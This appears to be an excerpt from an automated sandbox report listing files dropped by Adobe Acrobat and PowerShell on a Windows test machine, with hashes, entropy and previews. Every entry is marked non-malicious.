SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJfbPtdPeUkwRe9:YvXKXGRQnvR/ZwHAnGDV8Ukee9
MD5:	573CEC8B28AE4D82B287DAE766262536
SHA1:	8567E0E0850969F57CBEAF3965DFB3D18C984C13
SHA-256:	1A9E3ABA1242EAD80281D19CE891A26D9D5F101CCAE9BBA7AC0EAC0EC9D5930B
SHA-512:	3355B1AB77C823900EEE1C74DEC03EE950EC669FB06EA0DC4F2EA1F2CAA7059023184686F4BE7F8529994A250A1D4F4C8D1ADBE839040C8D18407CFCC1FDBDE0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.281192030144915
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJf21rPeUkwRe9:YvXKXGRQnvR/ZwHAnG+16Ukee9
MD5:	EEC9749A5E90475A29B4B6193E5B1611
SHA1:	F66305070CD211B2A04D1F9E090F353D905C915A
SHA-256:	BCA93271144F27D02A79B0ADDACE56B377F04F9163992D0E996DDA31BCC6CB28
SHA-512:	408F9558D7C8B274D5CB5F7AD8D50EC558967D237092BEEC9CDC778A01E85D9CB4D6FB83238E8D851523C6294D432F5B4E50792D01E5EE35E3526E8579D0BC88
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667563962407058
Encrypted:	false
SSDEEP:	24:Yv6XGRQnJhUamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS/E:YvOJhSBgkDMUJUAh8cvMM
MD5:	0FED10151D843CCE43513160C3B09C33
SHA1:	FE0BB5669B4E0B96B6BEF53DD60727ED56E9A714
SHA-256:	D67B2D8C1A92EBF4666B75668E372D7491ADAAE28D069FBE2527AD0EE83C55DC
SHA-512:	1F9CD088C9406BA9D620EF520F0243B42D9920A51F130393BA49587FAAF6AED925841F8378F83570E57B2EDA0F5802C4B496A1E6B7C2A64B2AC3E8D19D984B4C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2558995977951986
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJfshHHrPeUkwRe9:YvXKXGRQnvR/ZwHAnGUUUkee9
MD5:	D5DBABAB88F453346DAEA32C136D8A18
SHA1:	A8E1FA664DFA1EB81D1288EFA7141288A4108CF9
SHA-256:	A273991EBEA997E5D787E012934763BE853B6EE3A77760849019C9DAF01A2116
SHA-512:	4F54707160CDEC8283CE15CF33BF5FE21BCBFF8684DC669DEC9F7044B8A3AA35BD28BB0872296599F829219ABF303849FE808352551734C2A095A096086CC8F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.274804811640224
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJTqgFCrPeUkwRe9:YvXKXGRQnvR/ZwHAnGTq16Ukee9
MD5:	635A9E0F62AE64FB93F802A7B9D21C0A
SHA1:	27450B98FFDF18F71E207A49E4EF4303F940C2BA
SHA-256:	0A228762D6DBACE0E8B10B4E1F06B27BAD425752BAB114C0E09CB8216E067987
SHA-512:	5CF3D44253F9C214878E20A65EA8F0B7669BAE9A69F0BE80DE6C6EB0C20456E804E68BEDD24ACBDDA787EC913A583CB9FB0AAFC2A4E3F7093CC176BD3D218E6C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1497437275268405
Encrypted:	false
SSDEEP:	48:YW+ziNWsB4E489XPAX3PmLG9JBcoMG9Z08:Czi/B4EH9XPk3XLhN
MD5:	798899D4D2F3E4BD130C886DBB1FE30F
SHA1:	E36FCDC11D3FFA124677D6B88DA38C6C71B0B6C8
SHA-256:	B7183A1C222043FDC44B78B0BF1E125C801224003763B16F5A0148DCCED307D1
SHA-512:	64083C85506ED0811DA857FD37CE64D3CD9893C394D91BA1A90BCCDA26C97C57A7BD66546D34590EF615BDA709B44523B399754DD6E034C2AEFD7779ACB5FADB
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"de5e5a421b370bef9d92803186e9110a","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736575344000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4340b02656862fe6f3a5d897b9bfb314","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736575344000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e65f620f7561efcc1cb07c312c25ad6e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736575344000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3b2cd3d75315964b30e481c22bdc68ea","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736575344000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"1433c71bf694697bb0e72487664a9c83","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736575344000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e781be0f15c2ed15dbc0bb7f3d38aa21","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3188604014879042
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahqxuypilIYxI:lNVms9WfMwbPahFo
MD5:	AC31C1CA0C95C6C20E8A07BAAF2935BA
SHA1:	346887C8F510E93563BB22819598349CFF414C32
SHA-256:	414E23937C7E2716E8F9B4C3DF0DB7E35C7428D7A1E7E50185C4BB3180DADF78
SHA-512:	D6983A38FA6684C3EFB29E26F06BBE7D9EDEB92BC1026C53064928C1C68CA01E10E55EE2B250D618BC75558342AE9E3230BA4B951E4F9ABDDA86A9C9A83E0DAD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7795061586212113
Encrypted:	false
SSDEEP:	48:7MFWR1CPmPbPahqxXypilIlqFl2GL7msm:7gWfMwbPahAYKVmsm
MD5:	0A8EDD2FD6687A917748D696921F696D
SHA1:	DE216E16044443628EA3F4CB5482506E85738463
SHA-256:	7D5B53B45918BAA98D96801F604F66E1709AA008D73859DED1B8E409433E0DDC
SHA-512:	2D493C8C153C98FD0C7A6969BDFDF2AE6DB9309A2123748C0E63E3B316A51B069C344EA89D0B6255BF3364A0EDE1F7761228599C5FCED636B9B49F7F255CFD1E
Malicious:	false
Preview:	.... .c.....y.^r..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEguEnGP6LOBGv3fv7DtLw6EgEUJPYyu:6a6TZ44ADEuEnGCCBGvHNBPK
MD5:	5F7BC2D10B654FE615562F6381EC366F
SHA1:	BE333D8EFC64EEE30AD2058CDC608683F9D3C171
SHA-256:	94FE94D58260B4D15EA41158832A16575010E70D4421CA105E343B279C03AA2B
SHA-512:	D5ECEAF4EDC12A92DCBE80AB7CE391FEB9D2F4775876C03125B344C91DCECC63EE634303EABB32FA595345C97659E6DFF0A60AD8DCE6891646B9AEA4FCC9D3FA
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIadae5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8r:Qw946cPbiOxDlbYnuRKd3
MD5:	DA92754BFF1F65DD0FA3F5C1367D2DD3
SHA1:	8B63E9C62E3CBE0E3EA65C81BFB495C5F1C8E623
SHA-256:	F72145AA1D6078DC52B82E97E32F5CCC67083491E93AB26376CB5715CB0FAF9E
SHA-512:	FCDC5FBC4E9CF073D47F9237B5F8A89C95E32F3E16C4D8826D6925255BBBBE1A8D0CC3E9CABE482880B48C3E06A8163426FCBC70CB5DF73680B93E34246C561A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.0.2.:.2.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aitzeaiz.fhu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r54veou1.crv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-02-18-142.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.326848302630964
Encrypted:	false
SSDEEP:	384:8e0n8eRhYZUGpoF6QXhxWEQRETqdMOu2bQz93PtNwKULNnRH180D1A1U5Me4dKCY:O4n
MD5:	4CF8A005F9C6A549B874B65846B7322C
SHA1:	6DF563F520E6581D489F6AA21AF43263082EA8DB
SHA-256:	77AFB36CE62C9738CC791F240583455E44ABD72F583BC8F9BA68B9E3875EC250
SHA-512:	87AA2E9D6C4EF0FF131A46F397D04CC346DAA36D1DCAA7567767E6209C2ED247ECC8328082DF0A84615601F75CEDA3E05636A8910CB7D6B61FC3968ED7C4B582
Malicious:	false
Preview:	SessionID=078c2eac-6996-469a-91e1-3a9b11136d7a.1736575338172 Timestamp=2025-01-11T01:02:18:172-0500 ThreadID=5360 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=078c2eac-6996-469a-91e1-3a9b11136d7a.1736575338172 Timestamp=2025-01-11T01:02:18:173-0500 ThreadID=5360 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=078c2eac-6996-469a-91e1-3a9b11136d7a.1736575338172 Timestamp=2025-01-11T01:02:18:173-0500 ThreadID=5360 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=078c2eac-6996-469a-91e1-3a9b11136d7a.1736575338172 Timestamp=2025-01-11T01:02:18:173-0500 ThreadID=5360 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=078c2eac-6996-469a-91e1-3a9b11136d7a.1736575338172 Timestamp=2025-01-11T01:02:18:173-0500 ThreadID=5360 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399150897826389
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cb3cbCIeCcbl:ceo4+rsCye9
MD5:	E6823D6D64F23BD6357B8D1D5BDCD87E
SHA1:	4608BE620E413ADDDBC926CC00397F82CEC712BA
SHA-256:	B26123F28B40B8654640B370500B3273022D6E1B844BB7B08CEBEE5377518210
SHA-512:	EB757C60EAA7BD73293CF7717E45D4A6E2E3DD061EA97054578A749644FE8E45AFD342B06F27A5BFB036B3B55D05F0576FA406D6D1A75382B37B9AA3E4B7466E
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\6493e4cc-c024-4674-b732-1b4e503ff08f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\70ff3c37-0bcb-4a58-8ea7-9a386dab7951.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ab97f9f3-7411-42bb-bdb9-e5618012901e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
